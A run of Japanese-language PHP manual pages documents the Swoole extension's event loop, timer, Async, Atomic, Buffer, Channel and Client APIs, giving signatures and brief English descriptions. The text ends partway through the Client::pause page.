swoole_event_defer

(PECL swoole >= 1.9.0)

swoole_event_defer — Add callback function to the next event loop

説明

swoole_event_defer ( callable $callback ) : bool

パラメータ

callback

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


Remove all event callback functions of a socket

  • ≪ swoole_event_defer
  • swoole_event_exit ≫
  • PHP Manual
  • Swoole 関数
  • Remove all event callback functions of a socket

swoole_event_del

(PECL swoole >= 1.9.0)

swoole_event_del — Remove all event callback functions of a socket

説明

swoole_event_del ( int $fd ) : bool

パラメータ

fd

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


Exit the eventloop, only available at the client side

  • ≪ swoole_event_del
  • swoole_event_set ≫
  • PHP Manual
  • Swoole 関数
  • Exit the eventloop, only available at the client side

swoole_event_exit

(PECL swoole >= 1.9.0)

swoole_event_exit — Exit the eventloop, only available at the client side

説明

swoole_event_exit ( ) : void

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Update the event callback functions of a socket

  • ≪ swoole_event_exit
  • swoole_event_wait ≫
  • PHP Manual
  • Swoole 関数
  • Update the event callback functions of a socket

swoole_event_set

(PECL swoole >= 1.9.0)

swoole_event_set — Update the event callback functions of a socket

説明

swoole_event_set ( int $fd , callable $read_callback = ? , callable $write_callback = ? , int $events = 0 ) : bool

パラメータ

fd

read_callback

write_callback

events

返り値

User Contributed Notes

There are no user contributed notes for this page.


Start the event loop

  • ≪ swoole_event_set
  • swoole_event_write ≫
  • PHP Manual
  • Swoole 関数
  • Start the event loop

swoole_event_wait

(PECL swoole >= 1.9.0)

swoole_event_wait — Start the event loop

説明

swoole_event_wait ( ) : void

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Write data to a socket

  • ≪ swoole_event_wait
  • swoole_get_local_ip ≫
  • PHP Manual
  • Swoole 関数
  • Write data to a socket

swoole_event_write

(PECL swoole >= 1.9.0)

swoole_event_write — Write data to a socket

説明

swoole_event_write ( int $fd , string $data ) : bool

パラメータ

fd

data

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


Get the IPv4 IP addresses of each NIC on the machine

  • ≪ swoole_event_write
  • swoole_last_error ≫
  • PHP Manual
  • Swoole 関数
  • Get the IPv4 IP addresses of each NIC on the machine

swoole_get_local_ip

(PECL swoole >= 1.9.0)

swoole_get_local_ip — Get the IPv4 IP addresses of each NIC on the machine

説明

swoole_get_local_ip ( ) : array

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Get the lastest error message

  • ≪ swoole_get_local_ip
  • swoole_load_module ≫
  • PHP Manual
  • Swoole 関数
  • Get the lastest error message

swoole_last_error

(PECL swoole >= 1.9.0)

swoole_last_error — Get the lastest error message

説明

swoole_last_error ( ) : int

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Load a swoole extension

  • ≪ swoole_last_error
  • swoole_select ≫
  • PHP Manual
  • Swoole 関数
  • Load a swoole extension

swoole_load_module

(PECL swoole >= 1.9.0)

swoole_load_module — Load a swoole extension

説明

swoole_load_module ( string $filename ) : mixed

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Select the file descriptions which are ready to read/write or error in the eventloop

  • ≪ swoole_load_module
  • swoole_set_process_name ≫
  • PHP Manual
  • Swoole 関数
  • Select the file descriptions which are ready to read/write or error in the eventloop

swoole_select

(PECL swoole >= 1.9.0)

swoole_select — Select the file descriptions which are ready to read/write or error in the eventloop

説明

swoole_select ( array &$read_array , array &$write_array , array &$error_array , float $timeout = ? ) : int

パラメータ

read_array

write_array

error_array

timeout

返り値

User Contributed Notes

There are no user contributed notes for this page.


Set the process name

  • ≪ swoole_select
  • swoole_strerror ≫
  • PHP Manual
  • Swoole 関数
  • Set the process name

swoole_set_process_name

(PECL swoole >= 1.9.0)

swoole_set_process_name — Set the process name

説明

swoole_set_process_name ( string $process_name , int $size = 128 ) : void

パラメータ

process_name

返り値

User Contributed Notes

There are no user contributed notes for this page.


Convert the Errno into error messages

  • ≪ swoole_set_process_name
  • swoole_timer_after ≫
  • PHP Manual
  • Swoole 関数
  • Convert the Errno into error messages

swoole_strerror

(PECL swoole >= 1.9.0)

swoole_strerror — Convert the Errno into error messages

説明

swoole_strerror ( int $errno , int $error_type = 0 ) : string

パラメータ

errno

返り値

User Contributed Notes

There are no user contributed notes for this page.


Trigger a one time callback function in the future

  • ≪ swoole_strerror
  • swoole_timer_exists ≫
  • PHP Manual
  • Swoole 関数
  • Trigger a one time callback function in the future

swoole_timer_after

(PECL swoole >= 1.9.0)

swoole_timer_after — Trigger a one time callback function in the future

説明

swoole_timer_after ( int $ms , callable $callback , mixed $param = ? ) : int

パラメータ

ms

callback

param

返り値

User Contributed Notes

There are no user contributed notes for this page.


Check if a timer callback function is existed

  • ≪ swoole_timer_after
  • swoole_timer_tick ≫
  • PHP Manual
  • Swoole 関数
  • Check if a timer callback function is existed

swoole_timer_exists

(PECL swoole >= 1.9.0)

swoole_timer_exists — Check if a timer callback function is existed

説明

swoole_timer_exists ( int $timer_id ) : bool

パラメータ

timer_id

返り値

User Contributed Notes

There are no user contributed notes for this page.


Trigger a timer tick callback function by time interval

  • ≪ swoole_timer_exists
  • swoole_version ≫
  • PHP Manual
  • Swoole 関数
  • Trigger a timer tick callback function by time interval

swoole_timer_tick

(PECL swoole >= 1.9.0)

swoole_timer_tick — Trigger a timer tick callback function by time interval

説明

swoole_timer_tick ( int $ms , callable $callback , mixed $param = ? ) : int

パラメータ

ms

callback

返り値

User Contributed Notes

There are no user contributed notes for this page.


Get the version of Swoole

  • ≪ swoole_timer_tick
  • Swoole\Async ≫
  • PHP Manual
  • Swoole 関数
  • Get the version of Swoole

swoole_version

(PECL swoole >= 1.9.0)

swoole_version — Get the version of Swoole

説明

swoole_version ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

The version of Swoole.

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\Async class

(PECL swoole >= 1.9.0)

はじめに

クラス概要

Swoole\Async {
/* メソッド */
public static dnsLookup ( string $hostname , callable $callback ) : void
public static read ( string $filename , callable $callback , int $chunk_size = ? , int $offset = ? ) : bool
public static readFile ( string $filename , callable $callback ) : void
public static set ( array $settings ) : void
public static write ( string $filename , string $content , int $offset = ? , callable $callback = ? ) : void
public static writeFile ( string $filename , string $content , callable $callback = ? , string $flags = ? ) : void
}

目次

  • Swoole\Async::dnsLookup — Async and non-blocking hostname to IP lookup.
  • Swoole\Async::read — Read file stream asynchronously.
  • Swoole\Async::readFile — Read a file asynchronously.
  • Swoole\Async::set — Update the async I/O options.
  • Swoole\Async::write — Write data to a file stream asynchronously.
  • Swoole\Async::writeFile — Description

User Contributed Notes

There are no user contributed notes for this page.


Async and non-blocking hostname to IP lookup.

  • ≪ Swoole\Async
  • Swoole\Async::read ≫
  • PHP Manual
  • Swoole\Async
  • Async and non-blocking hostname to IP lookup.

Swoole\Async::dnsLookup

(PECL swoole >= 1.9.0)

Swoole\Async::dnsLookup — Async and non-blocking hostname to IP lookup.

説明

public static Swoole\Async::dnsLookup ( string $hostname , callable $callback ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

hostname

The host name.

callback
callback ( string $hostname , string $ip ) : mixed
hostname

The host name.

IP

The IP address.

User Contributed Notes

There are no user contributed notes for this page.


Read file stream asynchronously.

  • ≪ Swoole\Async::dnsLookup
  • Swoole\Async::readFile ≫
  • PHP Manual
  • Swoole\Async
  • Read file stream asynchronously.

Swoole\Async::read

(PECL swoole >= 1.9.0)

Swoole\Async::read — Read file stream asynchronously.

説明

public static Swoole\Async::read ( string $filename , callable $callback , int $chunk_size = ? , int $offset = ? ) : bool

パラメータ

filename

The name of the file.

callback
callback ( string $filename , string $content ) : mixed
filename

The name of the file.

content

The content readed from the file stream.

chunk_size

The chunk length.

offset

The offset.

返り値

Whether the read is succeed.

User Contributed Notes

There are no user contributed notes for this page.


Read a file asynchronously.

  • ≪ Swoole\Async::read
  • Swoole\Async::set ≫
  • PHP Manual
  • Swoole\Async
  • Read a file asynchronously.

Swoole\Async::readFile

(PECL swoole >= 1.9.0)

Swoole\Async::readFile — Read a file asynchronously.

説明

public static Swoole\Async::readFile ( string $filename , callable $callback ) : void

パラメータ

filename

The filename of the file being read.

callback
callback ( string $filename , string $content ) : mixed
filename

The name of the file.

content

The content readed from the file.

User Contributed Notes

There are no user contributed notes for this page.


Update the async I/O options.

  • ≪ Swoole\Async::readFile
  • Swoole\Async::write ≫
  • PHP Manual
  • Swoole\Async
  • Update the async I/O options.

Swoole\Async::set

(PECL swoole >= 1.9.0)

Swoole\Async::set — Update the async I/O options.

説明

public static Swoole\Async::set ( array $settings ) : void

パラメータ

settings

User Contributed Notes

There are no user contributed notes for this page.


Write data to a file stream asynchronously.

  • ≪ Swoole\Async::set
  • Swoole\Async::writeFile ≫
  • PHP Manual
  • Swoole\Async
  • Write data to a file stream asynchronously.

Swoole\Async::write

(PECL swoole >= 1.9.0)

Swoole\Async::write — Write data to a file stream asynchronously.

説明

public static Swoole\Async::write ( string $filename , string $content , int $offset = ? , callable $callback = ? ) : void

パラメータ

filename

The filename being written.

content

The content writing to the file.

offset

The offset.

callback

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Async::write
  • Swoole\Atomic ≫
  • PHP Manual
  • Swoole\Async
  • Description

Swoole\Async::writeFile

(PECL swoole >= 1.9.0)

Swoole\Async::writeFile — Description

説明

public static Swoole\Async::writeFile ( string $filename , string $content , callable $callback = ? , string $flags = ? ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

filename

The filename being written.

content

The content writing to the file.

callback

flags

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\Atomic class

(PECL swoole >= 1.9.0)

はじめに

クラス概要

Swoole\Atomic {
/* メソッド */
public add ( int $add_value = ? ) : int
public cmpset ( int $cmp_value , int $new_value ) : int
public get ( ) : int
public set ( int $value ) : int
public sub ( int $sub_value = ? ) : int
}

目次

  • Swoole\Atomic::add — Add a number to the value to the atomic object.
  • Swoole\Atomic::cmpset — Compare and set the value of the atomic object.
  • Swoole\Atomic::__construct — Construct a swoole atomic object.
  • Swoole\Atomic::get — Get the current value of the atomic object.
  • Swoole\Atomic::set — Set a new value to the atomic object.
  • Swoole\Atomic::sub — Subtract a number to the value of the atomic object.

User Contributed Notes

There are no user contributed notes for this page.


Add a number to the value to the atomic object.

  • ≪ Swoole\Atomic
  • Swoole\Atomic::cmpset ≫
  • PHP Manual
  • Swoole\Atomic
  • Add a number to the value to the atomic object.

Swoole\Atomic::add

(PECL swoole >= 1.9.0)

Swoole\Atomic::add — Add a number to the value to the atomic object.

説明

public Swoole\Atomic::add ( int $add_value = ? ) : int

Add a number to the value to the atomic object.

パラメータ

add_value

The value which will be added to the current value.

返り値

The new value of the atomic object.

User Contributed Notes

There are no user contributed notes for this page.


Compare and set the value of the atomic object.

  • ≪ Swoole\Atomic::add
  • Swoole\Atomic::__construct ≫
  • PHP Manual
  • Swoole\Atomic
  • Compare and set the value of the atomic object.

Swoole\Atomic::cmpset

(PECL swoole >= 1.9.0)

Swoole\Atomic::cmpset — Compare and set the value of the atomic object.

説明

public Swoole\Atomic::cmpset ( int $cmp_value , int $new_value ) : int

パラメータ

cmp_value

The value to compare with the current value of the atomic object.

new_value

The value to set to the atomic object if the cmp_value is the same as the current value of the atomic object.

返り値

The new value of the atomic object.

User Contributed Notes

There are no user contributed notes for this page.


Construct a swoole atomic object.

  • ≪ Swoole\Atomic::cmpset
  • Swoole\Atomic::get ≫
  • PHP Manual
  • Swoole\Atomic
  • Construct a swoole atomic object.

Swoole\Atomic::__construct

(PECL swoole >= 1.9.0)

Swoole\Atomic::__construct — Construct a swoole atomic object.

説明

public Swoole\Atomic::__construct ( int $value = ? )

Swoole atomic object is a integer variable allows any processor to atomically test and modify. It is implemented based on CPU atomic instructions. The Swoole atomic variables have to defined before swoole_server->start.

Compare-and-swap (CAS) is an atomic instruction used in multithreading to achieve synchronization. It compares the content of a memory location with a given value and, only if they are the same, modifies the content of that memory location to a new given value.

パラメータ

value

The value of the atomic object.

User Contributed Notes

There are no user contributed notes for this page.


Get the current value of the atomic object.

  • ≪ Swoole\Atomic::__construct
  • Swoole\Atomic::set ≫
  • PHP Manual
  • Swoole\Atomic
  • Get the current value of the atomic object.

Swoole\Atomic::get

(PECL swoole >= 1.9.0)

Swoole\Atomic::get — Get the current value of the atomic object.

説明

public Swoole\Atomic::get ( ) : int

Get the current value of the atomic object.

パラメータ

この関数にはパラメータはありません。

返り値

The current value of the atomic object.

User Contributed Notes

There are no user contributed notes for this page.


Set a new value to the atomic object.

  • ≪ Swoole\Atomic::get
  • Swoole\Atomic::sub ≫
  • PHP Manual
  • Swoole\Atomic
  • Set a new value to the atomic object.

Swoole\Atomic::set

(PECL swoole >= 1.9.0)

Swoole\Atomic::set — Set a new value to the atomic object.

説明

public Swoole\Atomic::set ( int $value ) : int

Set a new value to the atomic object.

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

value

The value to set to the atomic object.

返り値

The current value of the atomic object.

User Contributed Notes

There are no user contributed notes for this page.


Subtract a number to the value of the atomic object.

  • ≪ Swoole\Atomic::set
  • Swoole\Buffer ≫
  • PHP Manual
  • Swoole\Atomic
  • Subtract a number to the value of the atomic object.

Swoole\Atomic::sub

(PECL swoole >= 1.9.0)

Swoole\Atomic::sub — Subtract a number to the value of the atomic object.

説明

public Swoole\Atomic::sub ( int $sub_value = ? ) : int

Subtract a number to the value of the atomic object.

パラメータ

sub_value

The value which will be subtracted to the current value.

返り値

The current value of the atomic object.

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\Buffer class

(PECL swoole >= 1.9.0)

はじめに

クラス概要

Swoole\Buffer {
/* メソッド */
public append ( string $data ) : int
public clear ( ) : void
public __destruct ( ) : void
public expand ( int $size ) : int
public read ( int $offset , int $length ) : string
public recycle ( ) : void
public substr ( int $offset , int $length = ? , bool $remove = ? ) : string
public __toString ( ) : string
public write ( int $offset , string $data ) : void
}

目次

  • Swoole\Buffer::append — Append the string or binary data at the end of the memory buffer and return the new size of memory allocated.
  • Swoole\Buffer::clear — Reset the memory buffer.
  • Swoole\Buffer::__construct — Fixed size memory blocks allocation.
  • Swoole\Buffer::__destruct — Destruct the Swoole memory buffer.
  • Swoole\Buffer::expand — Expand the size of memory buffer.
  • Swoole\Buffer::read — Read data from the memory buffer based on offset and length.
  • Swoole\Buffer::recycle — Release the memory to OS which is not used by the memory buffer.
  • Swoole\Buffer::substr — Read data from the memory buffer based on offset and length. Or remove data from the memory buffer.
  • Swoole\Buffer::__toString — Get the string value of the memory buffer.
  • Swoole\Buffer::write — Write data to the memory buffer. The memory allocated for the buffer will not be changed.

User Contributed Notes

There are no user contributed notes for this page.


Append the string or binary data at the end of the memory buffer and return the new size of memory allocated.

  • ≪ Swoole\Buffer
  • Swoole\Buffer::clear ≫
  • PHP Manual
  • Swoole\Buffer
  • Append the string or binary data at the end of the memory buffer and return the new size of memory allocated.

Swoole\Buffer::append

(PECL swoole >= 1.9.0)

Swoole\Buffer::append — Append the string or binary data at the end of the memory buffer and return the new size of memory allocated.

説明

public Swoole\Buffer::append ( string $data ) : int

パラメータ

data

The string or binary data to append at the end of the memory buffer.

返り値

The new size of the memory buffer.

User Contributed Notes

There are no user contributed notes for this page.


Reset the memory buffer.

  • ≪ Swoole\Buffer::append
  • Swoole\Buffer::__construct ≫
  • PHP Manual
  • Swoole\Buffer
  • Reset the memory buffer.

Swoole\Buffer::clear

(PECL swoole >= 1.9.0)

Swoole\Buffer::clear — Reset the memory buffer.

説明

public Swoole\Buffer::clear ( ) : void

パラメータ

この関数にはパラメータはありません。

User Contributed Notes

There are no user contributed notes for this page.


Fixed size memory blocks allocation.

  • ≪ Swoole\Buffer::clear
  • Swoole\Buffer::__destruct ≫
  • PHP Manual
  • Swoole\Buffer
  • Fixed size memory blocks allocation.

Swoole\Buffer::__construct

(PECL swoole >= 1.9.0)

Swoole\Buffer::__construct — Fixed size memory blocks allocation.

説明

public Swoole\Buffer::__construct ( int $size = ? )

パラメータ

size

The size of the memory to allocate.

User Contributed Notes

There are no user contributed notes for this page.


Destruct the Swoole memory buffer.

  • ≪ Swoole\Buffer::__construct
  • Swoole\Buffer::expand ≫
  • PHP Manual
  • Swoole\Buffer
  • Destruct the Swoole memory buffer.

Swoole\Buffer::__destruct

(PECL swoole >= 1.9.0)

Swoole\Buffer::__destruct — Destruct the Swoole memory buffer.

説明

public Swoole\Buffer::__destruct ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

User Contributed Notes

There are no user contributed notes for this page.


Expand the size of memory buffer.

  • ≪ Swoole\Buffer::__destruct
  • Swoole\Buffer::read ≫
  • PHP Manual
  • Swoole\Buffer
  • Expand the size of memory buffer.

Swoole\Buffer::expand

(PECL swoole >= 1.9.0)

Swoole\Buffer::expand — Expand the size of memory buffer.

説明

public Swoole\Buffer::expand ( int $size ) : int

パラメータ

size

The new size of the memory buffer.

返り値

The new size of the memory buffer.

User Contributed Notes

There are no user contributed notes for this page.


Read data from the memory buffer based on offset and length.

  • ≪ Swoole\Buffer::expand
  • Swoole\Buffer::recycle ≫
  • PHP Manual
  • Swoole\Buffer
  • Read data from the memory buffer based on offset and length.

Swoole\Buffer::read

(PECL swoole >= 1.9.0)

Swoole\Buffer::read — Read data from the memory buffer based on offset and length.

説明

public Swoole\Buffer::read ( int $offset , int $length ) : string

パラメータ

offset

The offset.

length

The length.

返り値

The data readed from the memory buffer.

User Contributed Notes

There are no user contributed notes for this page.


Release the memory to OS which is not used by the memory buffer.

  • ≪ Swoole\Buffer::read
  • Swoole\Buffer::substr ≫
  • PHP Manual
  • Swoole\Buffer
  • Release the memory to OS which is not used by the memory buffer.

Swoole\Buffer::recycle

(PECL swoole >= 1.9.0)

Swoole\Buffer::recycle — Release the memory to OS which is not used by the memory buffer.

説明

public Swoole\Buffer::recycle ( ) : void

パラメータ

この関数にはパラメータはありません。

User Contributed Notes

There are no user contributed notes for this page.


Read data from the memory buffer based on offset and length. Or remove data from the memory buffer.

  • ≪ Swoole\Buffer::recycle
  • Swoole\Buffer::__toString ≫
  • PHP Manual
  • Swoole\Buffer
  • Read data from the memory buffer based on offset and length. Or remove data from the memory buffer.

Swoole\Buffer::substr

(PECL swoole >= 1.9.0)

Swoole\Buffer::substr — Read data from the memory buffer based on offset and length. Or remove data from the memory buffer.

説明

public Swoole\Buffer::substr ( int $offset , int $length = ? , bool $remove = ? ) : string

If $remove is set to be true and $offset is set to be 0, the data will be removed from the buffer. The memory for storing the data will be released when the buffer object is deconstructed.

パラメータ

offset

The offset.

length

The length.

remove

Whether to remove the data from the memory buffer.

返り値

The data or string readed from the memory buffer.

User Contributed Notes

There are no user contributed notes for this page.


Get the string value of the memory buffer.

  • ≪ Swoole\Buffer::substr
  • Swoole\Buffer::write ≫
  • PHP Manual
  • Swoole\Buffer
  • Get the string value of the memory buffer.

Swoole\Buffer::__toString

(PECL swoole >= 1.9.0)

Swoole\Buffer::__toString — Get the string value of the memory buffer.

説明

public Swoole\Buffer::__toString ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

The string value of the memory buffer.

User Contributed Notes

There are no user contributed notes for this page.


Write data to the memory buffer. The memory allocated for the buffer will not be changed.

  • ≪ Swoole\Buffer::__toString
  • Swoole\Channel ≫
  • PHP Manual
  • Swoole\Buffer
  • Write data to the memory buffer. The memory allocated for the buffer will not be changed.

Swoole\Buffer::write

(PECL swoole >= 1.9.0)

Swoole\Buffer::write — Write data to the memory buffer. The memory allocated for the buffer will not be changed.

説明

public Swoole\Buffer::write ( int $offset , string $data ) : void

パラメータ

offset

The offset.

data

The data to write to the memory buffer.

返り値

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\Channel class

(PECL swoole >= 1.9.0)

はじめに

クラス概要

Swoole\Channel {
/* メソッド */
public __destruct ( ) : void
public pop ( ) : mixed
public push ( string $data ) : bool
public stats ( ) : array
}

目次

  • Swoole\Channel::__construct — Construct a Swoole Channel
  • Swoole\Channel::__destruct — Destruct a Swoole channel.
  • Swoole\Channel::pop — Read and pop data from swoole channel.
  • Swoole\Channel::push — Write and push data into Swoole channel.
  • Swoole\Channel::stats — Get stats of swoole channel.

User Contributed Notes

There are no user contributed notes for this page.


Construct a Swoole Channel

  • ≪ Swoole\Channel
  • Swoole\Channel::__destruct ≫
  • PHP Manual
  • Swoole\Channel
  • Construct a Swoole Channel

Swoole\Channel::__construct

(PECL swoole >= 1.9.0)

Swoole\Channel::__construct — Construct a Swoole Channel

説明

public Swoole\Channel::__construct ( string $size )

Swoole channel is memory data structure works like Chan in Golang, implemented based on shared memory and mutex locks. It can be used as high performance message queue in memory. Construct a swoole channel with a fixed size. The minimum size of a swoole channel is 64KB. Exceptions will be thrown if there is not enough memory.

パラメータ

size

The size of the Swoole channel.

User Contributed Notes

There are no user contributed notes for this page.


Destruct a Swoole channel.

  • ≪ Swoole\Channel::__construct
  • Swoole\Channel::pop ≫
  • PHP Manual
  • Swoole\Channel
  • Destruct a Swoole channel.

Swoole\Channel::__destruct

(PECL swoole >= 1.9.0)

Swoole\Channel::__destruct — Destruct a Swoole channel.

説明

public Swoole\Channel::__destruct ( ) : void

パラメータ

この関数にはパラメータはありません。

User Contributed Notes

There are no user contributed notes for this page.


Read and pop data from swoole channel.

  • ≪ Swoole\Channel::__destruct
  • Swoole\Channel::push ≫
  • PHP Manual
  • Swoole\Channel
  • Read and pop data from swoole channel.

Swoole\Channel::pop

(PECL swoole >= 1.9.0)

Swoole\Channel::pop — Read and pop data from swoole channel.

説明

public Swoole\Channel::pop ( ) : mixed

パラメータ

この関数にはパラメータはありません。

返り値

If the channel is empty, the function will return false, or return the unserialized data.

User Contributed Notes

There are no user contributed notes for this page.


Write and push data into Swoole channel.

  • ≪ Swoole\Channel::pop
  • Swoole\Channel::stats ≫
  • PHP Manual
  • Swoole\Channel
  • Write and push data into Swoole channel.

Swoole\Channel::push

(PECL swoole >= 1.9.0)

Swoole\Channel::push — Write and push data into Swoole channel.

説明

public Swoole\Channel::push ( string $data ) : bool

Data can be any non-empty PHP variable, the variable will be serialized if it is not string type.

If size of the data is more than 8KB, swoole channel will use temp files storage.

The function will return true if the write operation is succeeded, or return false if there is not enough space.

パラメータ

data

The data to push into the Swoole channel.

返り値

Wheter the data is pushed into he Swoole channel.

User Contributed Notes

There are no user contributed notes for this page.


Get stats of swoole channel.

  • ≪ Swoole\Channel::push
  • Swoole\Client ≫
  • PHP Manual
  • Swoole\Channel
  • Get stats of swoole channel.

Swoole\Channel::stats

(PECL swoole >= 1.9.0)

Swoole\Channel::stats — Get stats of swoole channel.

説明

public Swoole\Channel::stats ( ) : array

Get the numbers of queued elements and total size of the memory used by the queue.

パラメータ

この関数にはパラメータはありません。

返り値

The stats of the Swoole channel.

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\Client class

(PECL swoole >= 1.9.0)

はじめに

クラス概要

Swoole\Client {
/* Constants */
const int MSG_OOB = 1 ;
const int MSG_PEEK = 2 ;
const int MSG_DONTWAIT = 128 ;
const int MSG_WAITALL = 64 ;
/* プロパティ */
public $errCode ;
public $sock ;
public $reuse ;
public $reuseCount ;
/* メソッド */
public close ( bool $force = ? ) : bool
public connect ( string $host , int $port = ? , int $timeout = ? , int $flag = ? ) : bool
public __destruct ( ) : void
public getpeername ( ) : array
public getsockname ( ) : array
public isConnected ( ) : bool
public on ( string $event , callable $callback ) : void
public pause ( ) : void
public pipe ( string $socket ) : void
public recv ( string $size = ? , string $flag = ? ) : void
public resume ( ) : void
public send ( string $data , string $flag = ? ) : int
public sendfile ( string $filename , int $offset = ? ) : bool
public sendto ( string $ip , int $port , string $data ) : bool
public set ( array $settings ) : void
public sleep ( ) : void
public wakeup ( ) : void
}

プロパティ

errCode

sock

reuse

reuseCount

定義済み定数

Swoole\Client::MSG_OOB

Swoole\Client::MSG_PEEK

Swoole\Client::MSG_DONTWAIT

Swoole\Client::MSG_WAITALL

目次

  • Swoole\Client::close — Close the connection established.
  • Swoole\Client::connect — Connect to the remote TCP or UDP port.
  • Swoole\Client::__construct — Create Swoole sync or async TCP/UDP client, with or without SSL.
  • Swoole\Client::__destruct — Destruct the Swoole client.
  • Swoole\Client::getpeername — Get the remote socket name of the connection.
  • Swoole\Client::getsockname — Get the local socket name of the connection.
  • Swoole\Client::isConnected — Check if the connection is established.
  • Swoole\Client::on — Add callback functions triggered by events.
  • Swoole\Client::pause — Pause receiving data.
  • Swoole\Client::pipe — Redirect the data to another file descriptor.
  • Swoole\Client::recv — Receive data from the remote socket.
  • Swoole\Client::resume — Resume receiving data.
  • Swoole\Client::send — Send data to the remote TCP socket.
  • Swoole\Client::sendfile — Send file to the remote TCP socket.
  • Swoole\Client::sendto — Send data to the remote UDP address.
  • Swoole\Client::set — Set the Swoole client parameters before the connection is established.
  • Swoole\Client::sleep — Remove the TCP client from system event loop.
  • Swoole\Client::wakeup — Add the TCP client back into the system event loop.

User Contributed Notes

There are no user contributed notes for this page.


Close the connection established.

  • ≪ Swoole\Client
  • Swoole\Client::connect ≫
  • PHP Manual
  • Swoole\Client
  • Close the connection established.

Swoole\Client::close

(PECL swoole >= 1.9.0)

Swoole\Client::close — Close the connection established.

説明

public Swoole\Client::close ( bool $force = ? ) : bool

パラメータ

force

Whether force to close the connection.

返り値

Whether the connection is closed.

User Contributed Notes

There are no user contributed notes for this page.


Connect to the remote TCP or UDP port.

  • ≪ Swoole\Client::close
  • Swoole\Client::__construct ≫
  • PHP Manual
  • Swoole\Client
  • Connect to the remote TCP or UDP port.

Swoole\Client::connect

(PECL swoole >= 1.9.0)

Swoole\Client::connect — Connect to the remote TCP or UDP port.

説明

public Swoole\Client::connect ( string $host , int $port = ? , int $timeout = ? , int $flag = ? ) : bool

パラメータ

host

The host name of the remote address.

port

The port number of the remote address.

timeout

The timeout(second) of connect/send/recv, the dafault value is 0.1s

flag

If the type of client is UDP, the $flag means if to enable the configuration udp_connect. If the configuration udp_connect is enabled, the client will only receive the data from specified ip:port. If the type of client is TCP and the $flag is set to 1, it must use swoole_client_select to check the connection status before send/recv.

返り値

Whether the connection is established.

User Contributed Notes

There are no user contributed notes for this page.


Create Swoole sync or async TCP/UDP client, with or without SSL.

  • ≪ Swoole\Client::connect
  • Swoole\Client::__destruct ≫
  • PHP Manual
  • Swoole\Client
  • Create Swoole sync or async TCP/UDP client, with or without SSL.

Swoole\Client::__construct

(PECL swoole >= 1.9.0)

Swoole\Client::__construct — Create Swoole sync or async TCP/UDP client, with or without SSL.

説明

public Swoole\Client::__construct ( int $sock_type , int $is_async = ? )

パラメータ

sock_type

The type of socket: SWOOLE_TCP, SWOOLE_UDP, SWOOLE_ASYNC, SWOOLE_SSL, SWOOLE_KEEP.

is_async

Synchronous or asynchronous client.

User Contributed Notes

There are no user contributed notes for this page.


Destruct the Swoole client.

  • ≪ Swoole\Client::__construct
  • Swoole\Client::getpeername ≫
  • PHP Manual
  • Swoole\Client
  • Destruct the Swoole client.

Swoole\Client::__destruct

(PECL swoole >= 1.9.0)

Swoole\Client::__destruct — Destruct the Swoole client.

説明

public Swoole\Client::__destruct ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

User Contributed Notes

There are no user contributed notes for this page.


Get the remote socket name of the connection.

  • ≪ Swoole\Client::__destruct
  • Swoole\Client::getsockname ≫
  • PHP Manual
  • Swoole\Client
  • Get the remote socket name of the connection.

Swoole\Client::getpeername

(PECL swoole >= 1.9.0)

Swoole\Client::getpeername — Get the remote socket name of the connection.

説明

public Swoole\Client::getpeername ( ) : array

パラメータ

この関数にはパラメータはありません。

返り値

The host and port of the remote socket.

User Contributed Notes

There are no user contributed notes for this page.


Get the local socket name of the connection.

  • ≪ Swoole\Client::getpeername
  • Swoole\Client::isConnected ≫
  • PHP Manual
  • Swoole\Client
  • Get the local socket name of the connection.

Swoole\Client::getsockname

(PECL swoole >= 1.9.0)

Swoole\Client::getsockname — Get the local socket name of the connection.

説明

public Swoole\Client::getsockname ( ) : array

パラメータ

この関数にはパラメータはありません。

返り値

The host and port of the local socket.

User Contributed Notes

There are no user contributed notes for this page.


Check if the connection is established.

  • ≪ Swoole\Client::getsockname
  • Swoole\Client::on ≫
  • PHP Manual
  • Swoole\Client
  • Check if the connection is established.

Swoole\Client::isConnected

(PECL swoole >= 1.9.0)

Swoole\Client::isConnected — Check if the connection is established.

説明

public Swoole\Client::isConnected ( ) : bool

This method returns the connection status of application layer.

パラメータ

この関数にはパラメータはありません。

返り値

Whether the connection is established.

User Contributed Notes

There are no user contributed notes for this page.


Add callback functions triggered by events.

  • ≪ Swoole\Client::isConnected
  • Swoole\Client::pause ≫
  • PHP Manual
  • Swoole\Client
  • Add callback functions triggered by events.

Swoole\Client::on

(PECL swoole >= 1.9.0)

Swoole\Client::on — Add callback functions triggered by events.

説明

public Swoole\Client::on ( string $event , callable $callback ) : void

パラメータ

event

callback

User Contributed Notes

There are no user contributed notes for this page.


Pause receiving data.

  • ≪ Swoole\Client::on
  • Swoole\Client::pipe ≫
  • PHP Manual
  • Swoole\Client
  • Pause receiving data.

Swoole\Client::pause

(PECL swoole >= 1.9.0)

Swoole\Client::pause — Pause receiving data.

説明

public Swoole\Client::pause ( ) : void

